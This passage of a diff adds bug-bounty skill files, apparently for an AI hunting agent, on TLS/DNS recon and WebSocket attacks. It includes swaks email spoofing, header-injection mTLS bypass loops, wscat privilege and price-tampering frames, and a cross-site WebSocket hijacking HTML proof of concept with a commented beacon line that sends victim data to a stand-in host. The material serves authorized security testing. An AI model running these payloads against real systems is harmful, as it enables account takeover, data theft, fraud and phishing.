+ echo "$POLICY" | grep -qi "p=none" && echo " -> p=none: monitors only, does NOT block spoofed mail"
145
+ echo "$POLICY" | grep -qiE "p=(quarantine|reject)" && echo " -> enforcing policy: spoofing likely blocked at receiver"
146
+ fi
147
+ ```
148
+
149
+ **Why the original `dig ... | wc -c | grep '^1$'` check was broken:** empty `dig +short` output is a zero-length string; piped through `wc -c` it usually yields `0`, and the surrounding newline handling is shell-dependent, so the `^1$` match misfires both ways. Always capture into a variable and test `[ -z "$VAR" ]`.
150
+
151
+ ### Spoofability is a RECEIVER decision, not a record-reading exercise
152
+
153
+ Do not report "missing DMARC = email spoofing" from `dig` output alone. DMARC `p=none` (or absent) means the **sending domain published no enforcement** — but the **receiving** mail provider (Gmail, M365, the program's own MX) may still junk or reject your spoof based on SPF, its own heuristics, or ARC. The only proof that survives triage is a **message you delivered to a real inbox**.
154
+
155
+ ```bash
156
+ # PROOF: send a spoofed mail and confirm INBOX delivery (use a tester account you own)
157
+ # Use an account on the receiver the program actually uses (check their MX: dig MX $TARGET)
158
+ swaks --to your-tester@gmail.com \
159
+ --from "CEO <ceo@$TARGET>" \
160
+ --header "Subject: [TEST] DMARC spoof PoC for $TARGET" \
161
+ --body "Authorized bug-bounty test. Spoofed from-domain: $TARGET" \
162
+ --server <an-smtp-relay-you-control-or-localhost>
163
+ ```
164
+
165
+ **Confirmation gate — a spoof PoC is only valid if you can show:**
166
+ 1. The message landed in **Inbox** (not Spam/Junk), screenshot the folder.
167
+ 2. The raw headers: `Authentication-Results:` showing `dmarc=none|fail` AND the mail was still **delivered** (not bounced). A bounce or a Spam-folder landing is NOT a finding — note it and move on.
168
+ 3. The visible `From:` shows `@$TARGET` to the recipient (header-from spoof, the one that matters for phishing), not just an `envelope-from` trick.
169
+
170
+ Severity is **Medium at best**, and only if delivered-to-inbox. Many programs mark email-auth findings OOS outright — check scope first.
171
+
172
+ ---
173
+
174
+ ## Phase 5 — Security Headers Audit
175
+
176
+ ```bash
177
+ # Check all security headers
178
+ HEADERS=$(curl -sI "https://$TARGET/")
179
+
180
+ # Check each critical header
181
+ for HEADER in "Strict-Transport-Security" "Content-Security-Policy" "X-Frame-Options" \
182
+ "X-Content-Type-Options" "Referrer-Policy" "Permissions-Policy"; do
183
+ RESULT=$(echo "$HEADERS" | grep -i "$HEADER")
184
+ if [ -z "$RESULT" ]; then
185
+ echo "[MISSING] $HEADER"
186
+ else
187
+ echo "[OK] $HEADER: $RESULT"
188
+ fi
189
+ done
190
+
191
+ # Automated security headers check
192
+ curl -s "https://securityheaders.com/?q=https://$TARGET&followRedirects=on" | \
193
+ grep -oP "grade-\K[A-F+]" | head -3
194
+ ```
195
+
196
+ ---
197
+
198
+ ## Phase 6 — Certificate Transparency (Subdomain Discovery)
199
+
200
+ ```bash
201
+ # crt.sh — certificate transparency logs
202
+ curl -s "https://crt.sh/?q=%25.$TARGET&output=json" | \
203
+ python3 -m json.tool 2>/dev/null | grep "name_value" | \
204
+ grep -oP '"name_value": "\K[^"]+' | \
205
+ sed 's/\*\.//g' | sort -u > recon/$TARGET/ct-subdomains.txt
206
+
207
+ echo "[+] CT subdomains found: $(wc -l < recon/$TARGET/ct-subdomains.txt)"
208
+
209
+ # Compare with existing subdomain list
210
+ comm -23 <(sort recon/$TARGET/ct-subdomains.txt) \
211
+ <(sort recon/$TARGET/subdomains.txt 2>/dev/null) | head -20
212
+ # New entries = recently issued certs = new services to investigate
213
+ ```
214
+
215
+ ---
216
+
217
+ ## Phase 6.5 — Dangling Records → Subdomain Takeover (the finding that actually pays)
218
+
219
+ This is the highest-impact item in the whole skill. A CNAME/A record pointing at a deprovisioned third-party resource (S3 bucket, Azure CDN/App Service, GitHub Pages, Heroku, Fastly, etc.) lets you claim that resource and serve content from `*.target.com`. Full depth lives in `hunt-subdomain`; here is the TLS/DNS-recon entry point.
220
+
221
+ ```bash
222
+ # For each subdomain from CT logs, resolve the CNAME chain and check for a live origin
223
+ while read sub; do
224
+ CNAME=$(dig +short CNAME "$sub" | head -1)
225
+ [ -z "$CNAME" ] && continue
226
+ CODE=$(curl -s -o /dev/null -w "%{http_code}" --max-time 8 "https://$sub/" 2>/dev/null)
227
+ echo "$sub -> $CNAME [http $CODE]"
228
+ done < recon/$TARGET/ct-subdomains.txt | tee recon/$TARGET/cname-map.txt
229
+
230
+ # Flag CNAMEs that point at known takeoverable providers, then confirm the
231
+ # fingerprint string in the body (e.g. "NoSuchBucket", "There isn't a GitHub Pages site here",
232
+ # "Fastly error: unknown domain", "The specified bucket does not exist", Azure "Web App - Unavailable").
233
+ ```
234
+
235
+ **Validation gate — a takeover claim requires you to actually claim it:**
236
+ 1. Confirm the dangling target is **unregistered/claimable** (the S3 bucket name is free, the Heroku app does not exist, etc.) — the provider error fingerprint alone is necessary but NOT sufficient.
237
+ 2. **Register the resource yourself** and serve a unique canary file, e.g. `https://$sub/<random>.txt` returning a string only you know. Screenshot it served over the victim subdomain with valid TLS.
238
+ 3. Tear it down immediately after PoC; never leave attacker-controlled content live on the target's domain.
239
+
240
+ Impact: cookie scope theft (cookies set for `.target.com`), OAuth `redirect_uri`/CORS-trust abuse, phishing on a trusted origin. Typically **High** (Critical if it sits at an OAuth/SSO redirect or shares session cookies).
241
+
242
+ ---
243
+
244
+ ## Phase 7 — CAA Records (recon signal only — NOT a reportable finding)
245
+
246
+ ```bash
247
+ # CAA records DECLARE which CAs the domain owner permits to issue certs.
248
+ dig CAA $TARGET +short
249
+ dig CAA "*.$TARGET" +short
250
+ ```
251
+
252
+ **Do NOT report "missing CAA" as a vulnerability.** This is the most common false positive in this class. Correct framing:
253
+
254
+ - A **missing CAA record does not let any attacker obtain a certificate.** It only means the owner has not *opted into* restricting which CAs may issue. With or without CAA, an attacker still needs to pass Domain Control Validation (HTTP-01 / DNS-01 / email) — which requires already controlling the domain, DNS, or web root.
255
+ - The "fraudulent issuance" scenario requires **CA compromise or social-engineering a CA** into mis-issuing. That is out of scope for essentially every bug-bounty program and is not something you can demonstrate. CAA enforcement is a CA-side control, not an attacker-facing surface.
256
+ - CAA is **Info-tier hardening at most**, and routinely closed as Won't-Fix / OOS. Mention it in a recon notes appendix if at all; never file it standalone.
257
+
258
+ **Where CAA recon IS useful (no finding, just intel):** the `issue`/`issuewild` values tell you which CA the org uses (e.g. `letsencrypt.org`, `digicert.com`, `amazon.com`). That hints at automation (ACME) and at where a *real* takeover (Phase 6.5 dangling records) could let you mint a valid cert via DCV because you'd control the host.
259
+
260
+ ---
261
+
262
+ ## Phase 8 — mTLS Bypass Attempts
263
+
264
+ ```bash
265
+ # Check if endpoint requires client certificate
266
+ curl -sk "https://$TARGET/internal/" 2>&1 | grep -i "ssl\|certificate\|403\|401"
267
+
268
+ # Try without client cert (should fail)
269
+ curl -sk --cert "" "https://$TARGET/internal/api" | head -5
270
+
271
+ # Try common bypass paths (some apps skip mTLS on health checks)
272
+ for path in /health /ping /status /metrics /api/health; do
273
+ STATUS=$(curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET$path")
274
+ echo "$path: $STATUS"
275
+ done
276
+
277
+ # Header-injection bypass — nginx/HAProxy/Envoy commonly terminate mTLS at the edge and
278
+ # forward the verdict as a request header the backend trusts. If the edge does NOT strip
279
+ # client-supplied copies of that header, you spoof a verified client. Try the real header
280
+ # names used by each proxy:
281
+ for combo in \
282
+ "X-SSL-Client-Verify: SUCCESS|X-SSL-Client-S-DN: CN=admin" \
283
+ "ssl-client-verify: SUCCESS|ssl-client-subject-dn: CN=admin" \
284
+ "X-Client-Verify: SUCCESS|X-Client-DN: CN=admin,O=target" \
285
+ "X-Forwarded-Client-Cert: By=spiffe://x;Hash=0;Subject=\"CN=admin\""; do
286
+ H1="${combo%%|*}"; H2="${combo##*|}"
287
+ echo "== $H1 / $H2 =="
288
+ curl -sk "https://$TARGET/internal/api" -H "$H1" -H "$H2" -o /dev/null -w "%{http_code}\n"
289
+ done
290
+ ```
291
+
292
+ **mTLS-bypass validation — this is a real auth bypass, so prove access, not just a status code:**
293
+ - A `200` could be a generic page. Confirm you reached **authenticated-only functionality**: show data/an action that is impossible without the client cert (e.g. an admin-only object, an internal-only response body).
294
+ - Distinguish *server policy* from *server state*: a `403` flipping to `200` with the spoofed header is meaningful; a `200` for both with and without the header means the path was never protected (no finding).
295
+ - For the bypass-path angle (`/health`, `/metrics`): only a finding if that endpoint exposes **sensitive data** (internal IPs, build secrets, Prometheus metrics revealing internal topology) — an empty `200 OK` health probe is not.
296
+ - Capture the request/response pair in Burp Repeater so the spoofed header → privileged response is unambiguous.
297
+
298
+ ---
299
+
300
+ ## Chain Table
301
+
302
+ Severities below are calibrated to what triage actually accepts. They are deliberately conservative; do not inflate them in a report.
303
+
304
+ | TLS/DNS finding | Realistic standalone severity | Notes / what raises it |
305
+ |----------------|------|------|
306
+ | Dangling-CNAME subdomain takeover (claimed + canary served) | **High** | Critical if at OAuth `redirect_uri`/SSO or sharing `.target.com` session cookies |
307
+ | mTLS / client-cert bypass reaching authed functionality | **High** | Must show privileged data/action, not just a 200 |
308
+ | AXFR returning internal hosts/IPs | **Medium** | Recon value; pairs with internal-service findings |
309
+ | Spoofable DMARC, **delivered to a real inbox** (PoC headers) | **Medium** | Often OOS — check scope; Inbox (not Spam) + delivered required. *Reading `p=none` from `dig` alone = Info, do not file* |
310
+ | Heartbleed / live memory leak with captured secrets | **High–Critical** | Only with an actual dump containing keys/cookies |
311
+ | Missing HSTS on auth subdomain | **Low / Info** | NOT High — exploitation needs an active MitM position you cannot demonstrate remotely; report only with a working downgrade-capture PoC |
312
+ | Weak cipher *support* (RC4/3DES/SWEET32) with no decrypt PoC | **Info / Low** | Hardening only; frequently OOS |
313
+ | Missing CAA | **Info (do not file)** | Absence does not enable issuance; not attacker-demonstrable |
314
+
315
+ ---
316
+
317
+ ## Tools
318
+
319
+ ```bash
320
+ # testssl.sh — comprehensive TLS audit
321
+ brew install testssl
322
+ testssl.sh $TARGET
323
+
324
+ # sslyze — Python TLS scanner
325
+ pip3 install sslyze
326
+
327
+ # MXToolbox for email security
328
+ curl -s "https://mxtoolbox.com/api/v1/Lookup/spf?argument=$TARGET" 2>/dev/null
329
+
330
+ # dmarc-inspector
331
+ curl -s "https://dmarcian.com/dmarc-inspector/?domain=$TARGET" 2>/dev/null
332
+ ```
333
+
334
+ ---
335
+
336
+ ## Validation
337
+
338
+ Each finding ships only with the proof listed — never the `dig`/header output alone.
339
+
340
+ - **Subdomain takeover:** you registered the dangling resource and served a unique canary over `https://sub.target.com/` with valid TLS. Screenshot + canary string. (Tear down after.)
341
+ - **mTLS bypass:** spoofed client-verify header returns *privileged* data/action that the cert-required path otherwise denies. Burp request/response pair.
342
+ - **AXFR:** zone transfer returns internal hostnames/IPs from an authoritative NS. Full transcript.
343
+ - **DMARC spoof:** swaks-sent mail with `From: @target.com` **delivered to a real Inbox** (not Spam), raw `Authentication-Results` headers attached. A bounce or Spam landing = no finding.
344
+ - **HSTS missing:** only reportable with a working downgrade PoC capturing a victim cookie over plaintext — otherwise it is best-practice noise.
345
+
346
+ **Severity (conservative — matches the Chain Table):**
347
+ - Subdomain takeover (claimed): High (Critical at OAuth/SSO redirect or shared session cookie)
348
+ - mTLS bypass to authed functionality: High
349
+ - AXFR returning internal hosts: Medium
350
+ - DMARC spoof delivered-to-inbox: Medium (often OOS — verify scope)
351
+ - HSTS missing on auth (with downgrade PoC): Low–Medium; without PoC: Info
352
+ - Weak cipher support without decrypt PoC: Info–Low
353
+ - Missing security headers / missing CAA only: Info (usually do not file)
354
+
355
+ **Pre-submission scope gate:** before filing ANY item here, confirm the program does not list it as out of scope (email-auth, missing-headers, weak-TLS-without-exploit, and CAA are commonly OOS). Quote the in-scope line in your report.
@@ -0,0 +1,285 @@
1
+ ---
2
+ name: hunt-websocket
3
+ description: "Hunt WebSocket vulnerabilities — Cross-Site WebSocket Hijacking (CSWSH), missing/weak Origin validation on the WS handshake, no per-message authentication, message tampering, socket.io namespace/room authorization bypass, and handshake-layer Upgrade smuggling. Use when target has WebSocket endpoints (ws:// or wss://), socket.io / SignalR / Phoenix Channels, real-time features, chat, live dashboards, notifications, or trading platforms."
4
+ sources: hackerone_public, portswigger_research, cve
5
+ report_count: 11
6
+ ---
7
+
8
+ # HUNT-WEBSOCKET — WebSocket Security
9
+
10
+ ## Crown Jewel Targets
11
+
12
+ CSWSH (Cross-Site WebSocket Hijacking) with a cookie-authenticated handshake and no CSRF/per-connection token = High–Critical (real-time exfil of any logged-in victim's data).
13
+
14
+ **Highest-value chains:**
15
+ - **CSWSH → data exfil / ATO** — handshake authenticates via ambient cookie, no CSRF token, Origin not enforced → attacker page opens WS as the victim and streams their messages/PII/tokens. If the stream carries a session/refresh/CSRF token, this escalates to ATO.
16
+ - **No per-message auth** — HTTP/handshake auth present but individual WS frames are not re-authorized → privileged messages accepted (`deleteUser`, `getSecretConfig`).
17
+ - **Message tampering** — modify in-flight frames (price, qty, userId, amount) in trading/game/checkout apps → financial fraud.
18
+ - **socket.io namespace / room authz bypass** — connect to a privileged namespace or join another user's room without a permission check → cross-tenant real-time exfil.
19
+ - **Handshake-layer Upgrade smuggling** — a malformed `Upgrade`/`Connection`/`Sec-WebSocket-*` handshake makes the front proxy and origin disagree on whether an upgrade occurred → request-smuggling tunnel.
20
+
21
+ ---
22
+
23
+ ## Grounding — Reference Cases (read before hunting)
24
+
25
+ These are public, verifiable references. Use them to calibrate what a *real* WS finding looks like and how it was proven. Do not invent additional report IDs or payouts.
26
+
27
+ | # | Source / ID | Class | Lesson |
28
+ |---|-------------|-------|--------|
29
+ | 1 | PortSwigger Web Security Academy — "Cross-site WebSocket hijacking" (research + labs) | CSWSH | Canonical CSWSH model: cookie-auth handshake + no CSRF token + missing Origin check → attacker reads/sends as victim. The authoritative methodology. |
30
+ | 2 | Christian Schneider — "Cross-Site WebSocket Hijacking (CSWSH)" (original disclosure/write-up, 2013) | CSWSH | First public CSWSH technique: cookie-auth handshake + no Origin enforcement; PoC must prove victim-data receipt in the attacker browser, not just a 101. |
31
+ | 3 | Coda CSWSH (referenced in this repo's hunt-csrf set) | CSWSH | Real-time collab apps commonly authenticate the socket purely via cookie; Origin allow-listing was the missing control. |
32
+ | 4 | CVE-2020-7662 — `websocket-extensions` (Node) ReDoS | DoS | A crafted `Sec-WebSocket-Extensions` header triggers catastrophic backtracking — handshake header is an attack surface, not just frames. |
33
+ | 5 | CVE-2024-37890 — `ws` (Node) DoS | DoS | Many handshake request headers exhaust the server; confirms the handshake itself is parser-attackable pre-frames. |
34
+ | 6 | Outdated `socket.io` / Engine.IO stacks | socket.io | Motivates the version-fingerprint step in Phase 7 — fingerprint the version, then check that release's known advisories. |
35
+
36
+ > Only the four CVEs above are asserted with exact IDs because they are verifiable. For any case where you are not certain of the exact identifier, describe the technique with **no** citation — a wrong CVE is worse than none.
37
+
38
+ ---
39
+
40
+ ## Phase 1 — Discover WebSocket Endpoints
41
+
42
+ ```bash
43
+ # Grep JS for WS connections (handshake URLs, socket.io clients)
44
+ grep -rE "new WebSocket|io\(|io\.connect|socket\.io|new SockJS|signalr|Phoenix\.Socket|wss?://" \
45
+ recon/$TARGET/ --include="*.js" 2>/dev/null | \
46
+ grep -oE "(wss?://[^'\"]+|/[a-zA-Z0-9/_.-]*socket[^'\"]*|/signalr[^'\"]*|/cable\b)" | sort -u
47
+
48
+ # Crawl URLs for realtime hints
49
+ grep -iE "socket|/ws\b|websocket|stream|realtime|live|chat|events|/cable|/signalr|notifications" \
50
+ recon/$TARGET/urls.txt | sort -u
51
+
52
+ # Probe handshake (101 = upgrade supported)
53
+ curl -sI -o /dev/null -w "%{http_code}\n" \
54
+ -H "Connection: Upgrade" -H "Upgrade: websocket" \
55
+ -H "Sec-WebSocket-Version: 13" \
56
+ -H "Sec-WebSocket-Key: $(head -c16 /dev/urandom | base64)" \
57
+ "https://$TARGET/ws"
58
+
59
+ # socket.io polling handshake leaks version + sid
60
+ curl -s "https://$TARGET/socket.io/?EIO=4&transport=polling" | head -c 300; echo
61
+
62
+ # Non-standard WS ports
63
+ nmap -sV -p 80,443,3000,3001,8080,8443,8888,9000 $TARGET 2>/dev/null | grep open
64
+ ```
65
+
66
+ In Burp Pro, use `get_proxy_websocket_history` (and the WebSockets tab) after browsing the app to enumerate live sockets, message schemas, and which frames carry auth-sensitive data.
67
+
68
+ ---
69
+
70
+ ## Phase 2 — CSWSH (Cross-Site WebSocket Hijacking)
71
+
72
+ CSWSH requires THREE conditions together: (a) the handshake authenticates via an **ambient credential** (cookie sent automatically), (b) there is **no unpredictable per-connection token** in the handshake (no CSRF token / no token in URL/body), and (c) the server **does not enforce Origin**. Missing any one breaks the attack.
73
+
74
+ ```bash
75
+ # Step 1 — Confirm handshake auth model in DevTools → Network → WS → Headers.
76
+ # Look for: Cookie: session=... AND the ABSENCE of any per-request token
77
+ # (no ?token=, no Sec-WebSocket-Protocol carrying a bearer, no body nonce).
78
+ # If a unique token rides the handshake, CSWSH is NOT exploitable cross-site.
79
+
80
+ # Step 2 — Probe Origin enforcement (this is a SIGNAL, not a confirmation)
81
+ wscat -c "wss://$TARGET/ws" \
82
+ --header "Origin: https://evil.com" \
83
+ --header "Cookie: session=YOUR_SESSION"
84
+ # A 101 from a foreign Origin only proves the handshake opened.
85
+ # It does NOT confirm CSWSH — the server may still validate Origin at the
86
+ # message layer, refuse to stream authenticated data, or require a token
87
+ # in the first app-level frame. Treat 101 as "candidate", move to Step 3.
88
+ ```
89
+
90
+ ```html
91
+ <!-- Step 3 — Real PoC: host on attacker origin, open while a SEPARATE victim
92
+ account is logged into TARGET in the same browser. The bug is only
93
+ confirmed if attacker JS RECEIVES the victim's data (or successfully
94
+ sends a privileged frame). Cross-origin JS cannot set Origin/Cookie —
95
+ the browser does, which is exactly the threat model. -->
96
+ <html><body><pre id="out"></pre><script>
97
+ var marker = "CSWSH-" + Math.random().toString(36).slice(2); // unique per run
98
+ var ws = new WebSocket("wss://TARGET/ws"); // attacker cannot forge Origin
99
+ ws.onopen = () => {
100
+ log("[+] 101 opened from attacker origin");
101
+ ws.send(JSON.stringify({type:"subscribe", channel:"user_notifications", _m:marker}));
102
+ };
103
+ ws.onmessage = e => {
104
+ log("VICTIM-DATA: " + e.data);
105
+ // Exfil PROOF to your Collaborator/listener so receipt is logged out-of-band:
106
+ // navigator.sendBeacon("https://<collab-id>.oob.example.com/cswsh?d=" + encodeURIComponent(e.data));
107
+ };
108
+ ws.onerror = e => log("ERR (likely Origin/auth rejected at message layer)");
109
+ function log(s){document.getElementById("out").textContent += s + "\n";}
110
+ </script></body></html>
111
+ ```
112
+
113
+ **False-positive killers:**
114
+ - A completed `101` from `Origin: evil.com` is NOT a finding. Many servers accept the upgrade and then send nothing, or close on the first authenticated frame.
115
+ - Verify the data you receive belongs to a **different account** than the attacker, using a unique marker / distinct victim PII you planted in account B.
116
+ - Exfil the received payload to **Burp Collaborator / an OAST listener** so receipt is recorded out-of-band — this is your impact proof for the report.
117
+ - If a per-connection token rides the handshake (in the URL, a sub-protocol, or the first frame), CSWSH is **not** cross-site exploitable; downgrade or drop.
118
+
119
+ ---
120
+
121
+ ## Phase 3 — Missing / Weak Authentication on WS Messages
122
+
123
+ Handshake auth ≠ per-message auth. Apps often authenticate the socket once, then trust every subsequent frame.
124
+
125
+ ```bash
126
+ # No cookie at all — does the server process app frames?
127
+ wscat -c "wss://$TARGET/ws"
128
+ # > {"type":"getUserData","userId":1}
129
+ # > {"type":"getAdminPanel"}
130
+
131
+ # Low-priv session sending high-priv actions
132
+ wscat -c "wss://$TARGET/ws" --header "Cookie: session=LOW_PRIV_SESSION"
133
+ # > {"action":"deleteUser","userId":999}
134
+ # > {"action":"getSecretConfig"}
135
+ ```
136
+
137
+ **Validate:** the privileged action must produce a real effect (a deleted test user, returned secret config, a state change visible via a second channel) — a frame that is *accepted and silently ignored* is not a finding. Re-run as an unauthenticated client to confirm the action is not simply broadcast to everyone harmlessly.
138
+
139
+ ### Replay of Signed Messages
140
+ If messages carry signatures (e.g., `{"type":"payment","amount":100,"signature":"..."}`), test replay for freshness and session binding. Capture a signed message and test: (a) **time-window bypass**: replay the message after its expiry timestamp (clock skew/validation gap), (b) **session bypass**: capture a signed message from user A's session and replay it in user B's session — if accepted, the signature was not bound to the user/session ID. Use Burp Repeater to store and replay signed frames, or reconstruct the same message in `wscat` after a time window has passed.
141
+
142
+ ### Business Logic Abuse: State Machine Bypass & Rate Limit Evasion
143
+ Stateful protocols (e.g., a trading platform expecting `connect → authenticate → verify_balance → place_order`) may accept messages out of order or skip prerequisites. Test: (a) **state skip**: connect and immediately send `place_order` without `authenticate` or `verify_balance` first — many stacks don't enforce strict ordering if individual message validation is missing, (b) **high-frequency spam**: send identical or high-volume messages rapidly to bypass WS-layer rate limits (different from HTTP rate limits) — test 100s of messages/second to see if the server throttles, returns 429, or closes the connection. If it accepts and processes all, this can abuse business logic (e.g., many small payments to bypass amount caps, or rapid subscriptions to exhaust resources).
144
+
145
+ ---
146
+
147
+ ## Phase 4 — Message Tampering (Financial / Game / Checkout)
148
+
149
+ ```bash
150
+ # Intercept + edit in Burp (Proxy → WebSockets history → right-click → Send to
151
+ # Repeater, or edit-and-forward). Try server-trusted client values:
152
+ # {"price":100} -> {"price":0.01}
153
+ # {"amount":1} -> {"amount":9999}
154
+ # {"userId":123} -> {"userId":1} # impersonate admin
155
+ # {"orderTotal":...} -> recompute downstream?
156
+
157
+ # wscat replay of a tampered frame
158
+ wscat -c "wss://$TARGET/trade" --header "Cookie: session=SESSION"
159
+ # > {"action":"buy","amount":1,"price":0.01}
160
+ ```
161
+
162
+ **Validate:** the tampered value must persist server-side — confirm via the REST/order API or a fresh socket that the order/balance/price actually reflects the manipulation. Many UIs echo your own frame back optimistically; that echo is NOT proof. Demonstrate financial/state impact, ideally on a sandbox/test instrument.
163
+
164
+ ---
165
+
166
+ ## Phase 5 — socket.io / SignalR / Phoenix Namespace & Room Authz Bypass
167
+
168
+ Engine.IO/socket.io is a protocol layered over the raw WebSocket. Packet prefixes (Engine.IO `4`=MESSAGE wrapping socket.io `0`=CONNECT, `1`=DISCONNECT, `2`=EVENT) carry namespace/room intent. Authorization must be checked when joining; often it isn't.
169
+
170
+ ```bash
171
+ # 1) Open the raw socket.io WebSocket (Engine.IO v4)
172
+ wscat -c "wss://$TARGET/socket.io/?EIO=4&transport=websocket" \
173
+ --header "Cookie: session=YOUR_SESSION"
174
+
175
+ # 2) Respond to the server's Engine.IO OPEN ('0{...}') so the connection lives,
176
+ # then CONNECT to a namespace with a socket.io CONNECT packet.
177
+ # CORRECT packet to join the /admin namespace: 40/admin,
178
+ # 4 = Engine.IO MESSAGE, 0 = socket.io CONNECT, /admin, = namespace
179
+ # (NOT a ?nsp= query param — see Phase 7. NOT 42 — 42 is MESSAGE+EVENT.)
180
+ # > 40/admin,
181
+ # Server replies 40/admin,{"sid":"..."} on success, or 44/admin,{...} (error)
182
+ # on rejection. A 40 success to a privileged namespace as a low/no-priv
183
+ # user is the bug.
184
+
185
+ # 3) Once in a namespace, emit an EVENT (42) to join another user's room:
186
+ # > 42/admin,["join",{"room":"user_999_private"}]
187
+ # > 42["subscribe",{"channel":"admin_events"}] # root namespace
188
+ # Watch for 42 EVENT frames carrying ANOTHER user's data.
189
+ ```
190
+
191
+ **Validate:** distinguish *connected to namespace* from *received privileged data*. The finding is confirmed only when you receive `42` event frames containing data belonging to a different tenant/user, or a privileged emit produces a verifiable server-side effect. A `40/admin` ack with no subsequent data may just be an open-but-empty namespace.
192
+
193
+ > SignalR analogue: negotiate at `/<hub>/negotiate`, then connect and `Invoke`/`Send` hub methods — test method-level authorization. Phoenix Channels: `phx_join` to `topic:subtopic` and check whether the server's `join/3` authorizes the topic.
194
+
195
+ ---
196
+
197
+ ## Phase 6 — Handshake-Layer Upgrade Smuggling (NOT frame smuggling)
198
+
199
+ Important: once a WebSocket is established, your payloads are wrapped in WS frames and are **never re-parsed as HTTP** by the proxy. Typing `GET /admin HTTP/1.1` into an open `wscat` session does nothing. WebSocket-related smuggling lives at the **handshake**, before any frames exist.
200
+
201
+ The real technique: send a WebSocket Upgrade request that the **front proxy** and the **origin** interpret differently — e.g. a bad `Sec-WebSocket-Version` that makes the origin reply `426 Upgrade Required` (or `400`) while the proxy has already decided the connection is "upgraded" and stops parsing HTTP. The proxy then tunnels subsequent bytes straight to the origin as an opaque stream, letting you smuggle arbitrary HTTP requests past front-end controls (WAF/authz).
202
+
203
+ ```bash
204
+ # Detection is HTTP-layer, not frame-layer. Use Burp Repeater / send_http1_request
205
+ # and toggle ONE handshake variable at a time, comparing front-vs-origin behavior:
206
+
207
+ # A) Valid-looking upgrade but unsupported version:
208
+ # Upgrade: websocket
209
+ # Connection: Upgrade
210
+ # Sec-WebSocket-Version: 777 <- origin should 426; does the proxy still tunnel?
211
+ # Sec-WebSocket-Key: <16-byte base64>
212
+
213
+ # B) Upgrade header present but Connection: keep-alive (mismatch)
214
+ # C) Smuggled second request body after a "successful" 101, then send a normal
215
+ # follow-up request on the same connection and watch for a desynced response.
216
+ ```
217
+
218
+ Drive this with Burp Pro's **HTTP Request Smuggler** extension (it has WebSocket-upgrade test cases) rather than by hand. **Validate** exactly like classic smuggling: prove desync via a timing/differential probe AND show real impact (reach an internal/forbidden path, poison a cached response, or capture another user's request) — confirmed against **Burp Collaborator / OAST**, never on a single ambiguous response.
219
+
220
+ ---
221
+
222
+ ## Phase 7 — socket.io / Engine.IO Specifics
223
+
224
+ ```bash
225
+ # Version + initial sid (handshake JSON after the leading Engine.IO digit)
226
+ curl -s "https://$TARGET/socket.io/?EIO=4&transport=polling" | head -c 300; echo
227
+ # Old/EOL socket.io stacks have known issues — fingerprint the version, then check that release's advisories;
228
+ # fingerprint the client lib version from JS bundles too.
229
+
230
+ # Namespace selection is a PROTOCOL message, not a URL param.
231
+ # WRONG: wscat -c "wss://$TARGET/socket.io/?EIO=4&transport=websocket&nsp=/admin"
232
+ # ^ `nsp` is NOT a recognized socket.io query param. It is silently
233
+ # ignored and you connect to the ROOT namespace "/". You will believe
234
+ # you tested /admin when you did not.
235
+ # RIGHT: open the socket, then send the CONNECT packet 40/admin, (Phase 5).
236
+
237
+ # Forged/replayed sid against the polling transport (session fixation / hijack probe)
238
+ curl -s "https://$TARGET/socket.io/?EIO=4&transport=polling&sid=FAKE_OR_VICTIM_SID"
239
+ # 400 "Session ID unknown" = good. A 200 that resumes another sid's stream = bug.
240
+ ```
241
+
242
+ ---
243
+
244
+ ## Tools
245
+
246
+ ```bash
247
+ npm install -g wscat # CLI WS client (raw + socket.io)
248
+ brew install websocat # alt client; supports text/binary + autoreconnect
249
+ # Burp Suite Pro: WebSockets history (intercept/edit/replay), HTTP Request
250
+ # Smuggler extension (handshake-upgrade smuggling), Collaborator for OAST proof.
251
+ # Burp MCP: get_proxy_websocket_history / get_proxy_websocket_history_regex to
252
+ # enumerate frames; generate_collaborator_payload + get_collaborator_interactions
253
+ # to prove out-of-band receipt from a CSWSH/smuggling PoC.
254
+ ```
255
+
256
+ ---
257
+
258
+ ## Chain Table
259
+
260
+ | WS finding | Chain to | Impact |
261
+ |-----------|----------|--------|
262
+ | CSWSH + token in stream | Steal session/refresh/CSRF token from victim frames | ATO (Critical) |
263
+ | CSWSH confirmed | Subscribe to victim channels, exfil to OAST | Real-time data theft (High) |
264
+ | No per-message auth | Send admin/privileged frames | Privilege escalation (Critical) |
265
+ | Message tampering | Modify price/amount/userId, confirm server-side | Financial fraud (Critical) |
266
+ | Namespace/room authz bypass | Join other tenant's room, read `42` events | Cross-tenant exfil (High) |
267
+ | Handshake Upgrade smuggling | Tunnel HTTP past WAF/authz, OAST-confirmed | Smuggling → SSRF/cache poison (High–Critical) |
268
+
269
+ ---
270
+
271
+ ## Validation (mandatory before reporting)
272
+
273
+ - ✅ **CSWSH:** attacker-origin PoC HTML, opened with a *different* victim account logged in, must **receive that victim's data** (verified by a unique planted marker / distinct PII) and exfil it to **Collaborator/OAST**. A bare `101` from a foreign Origin is NOT a finding.
274
+ - ✅ **No per-message auth:** privileged frame produces a **verifiable server-side effect** (state change confirmed via a second channel / REST API), not merely "accepted".
275
+ - ✅ **Message tampering:** tampered value **persists server-side** (confirmed via order/balance API), not just echoed in the UI.
276
+ - ✅ **Namespace/room bypass:** received **`42` event frames with another user's data**, not just a `40` namespace ack.
277
+ - ✅ **Upgrade smuggling:** desync proven by timing/differential probe **and** real-world impact, **OAST-confirmed**. No single-response guesses.
278
+ - ❌ Reject: a 101 alone, an accepted-but-ignored frame, a self-echoed message, a connected-but-empty namespace, or any "confirmed" claim lacking out-of-band/cross-account proof.
279
+
280
+ **Severity:**
281
+ - CSWSH leaking session/refresh token → ATO: **Critical**
282
+ - CSWSH → real-time session-data theft: **High**
283
+ - No auth on admin/privileged WS actions: **Critical**
284
+ - Financial message tampering (server-confirmed): **Critical**
285
+ - Namespace/room subscription bypass (cross-tenant): **High**